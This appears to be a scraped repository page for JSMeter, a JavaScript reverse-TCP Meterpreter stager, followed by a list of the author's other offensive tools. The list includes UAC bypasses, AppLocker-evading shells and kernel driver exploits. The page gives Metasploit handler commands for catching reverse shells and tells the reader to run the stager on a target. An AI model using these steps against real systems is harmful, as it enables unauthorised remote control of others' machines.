Cn33liz/JSMeter

Stars
136
Rank 259,273 (Top 6 %)
Language
JavaScript
Created about 7 years ago
Updated almost 7 years ago

Cn33liz/JSMeter

Cn33liz

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

JavaScript Reversed TCP Meterpreter Stager

     ____. _________   _____          __                
    |    |/   _____/  /     \   _____/  |_  ___________ 
    |    |\_____  \  /  \ /  \_/ __ \   __\/ __ \_  __ \
/\__|    |/        \/    Y    \  ___/|  | \  ___/|  | \/
\________/_______  /\____|__  /\___  >__|  \___  >__|   
                 \/         \/     \/          \/

JavaScript Reversed TCP Meterpreter Stager - by Cn33liz 2017

CSharp Meterpreter Stager build by Cn33liz and embedded within JavaScript using DotNetToJScript from James Forshaw https://github.com/tyranid/DotNetToJScript

This Stager should run on x86 as well as x64

Usage:
Change RHOST and RPORT settings to suit your needs.

Start Msfconsole:
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp <- When run from x64 version of cscript.exe
set PAYLOAD windows/meterpreter/reverse_tcp <- When run from x86 version of cscript.exe
set LHOST 0.0.0.0
set LPORT 443
set EnableUnicodeEncoding true
set EnableStageEncoding true
set ExitOnSession false
exploit -j 

Then run: cscript.exe JSMeter.js on Target

p0wnedShell

PowerShell Runspace Post Exploitation Toolkit

StarFighters

A JavaScript and VBScript Based Empire Launcher, which runs within their own embedded PowerShell Host.

MSBuildShell

MSBuildShell, a Powershell Host running within MSBuild.exe

CScriptShell

CScriptShell, a Powershell Host running within cscript.exe

TpmInitUACBypass

Bypassing User Account Control (UAC) using TpmInit.exe

VBSMeter

VBS Reversed TCP Meterpreter Stager

SmashedPotato

p0wnedLoader

p0shKiller

HSEVD-StackOverflowX64

HackSys Extreme Vulnerable Driver - Windows 10 x64 StackOverflow Exploit with SMEP Bypass

MacroMeter

VBA Reversed TCP Meterpreter Stager

MS17-012

MS17-012 - COM Session Moniker EoP Exploit running within MSBuild.exe

SharpCat

SharpCat - A Simple Reversed Command Shell which can be started using InstallUtil (Bypassing AppLocker)

EasySystem

Quick and dirty System (Power)Shell using NamedPipe impersonation.

TpmInitUACAnniversaryBypass

Bypassing User Account Control (UAC) using TpmInit.exe

HSEVD-ArbitraryOverwriteGDI

HackSys Extreme Vulnerable Driver - ArbitraryOverwrite Exploit using GDI

HSEVD-StackOverflow

HackSys Extreme Vulnerable Driver - StackOverflow Exploit

p0wnedReverse

PowerShell Runspace Connect-Back Shell

HSEVD-ArbitraryOverwrite

HackSys Extreme Vulnerable Driver - ArbitraryOverwrite Exploit

HSEVD-VariousExploits

HackSys Extreme Vulnerable Driver - Various Windows 7 x86 Kernel Exploits

HSEVD-StackCookieBypass

HackSys Extreme Vulnerable Driver - StackOverflow with Stack Cookie Bypass Exploit

HSEVD-StackOverflowGDI

HackSys Extreme Vulnerable Driver - Windows 10 x64 StackOverflow Exploit using GDI

HackTheBox-Jail

HTB Jail Remote Exploit By Cneeliz - 2017

HSEVD-ArbitraryOverwriteLowIL

HackSys Extreme Vulnerable Driver - ArbitraryOverwrite Exploit using GDI -> Low Integrity to System

HackTheBox-Smasher

FortiParse

Fortigate Configuration Parser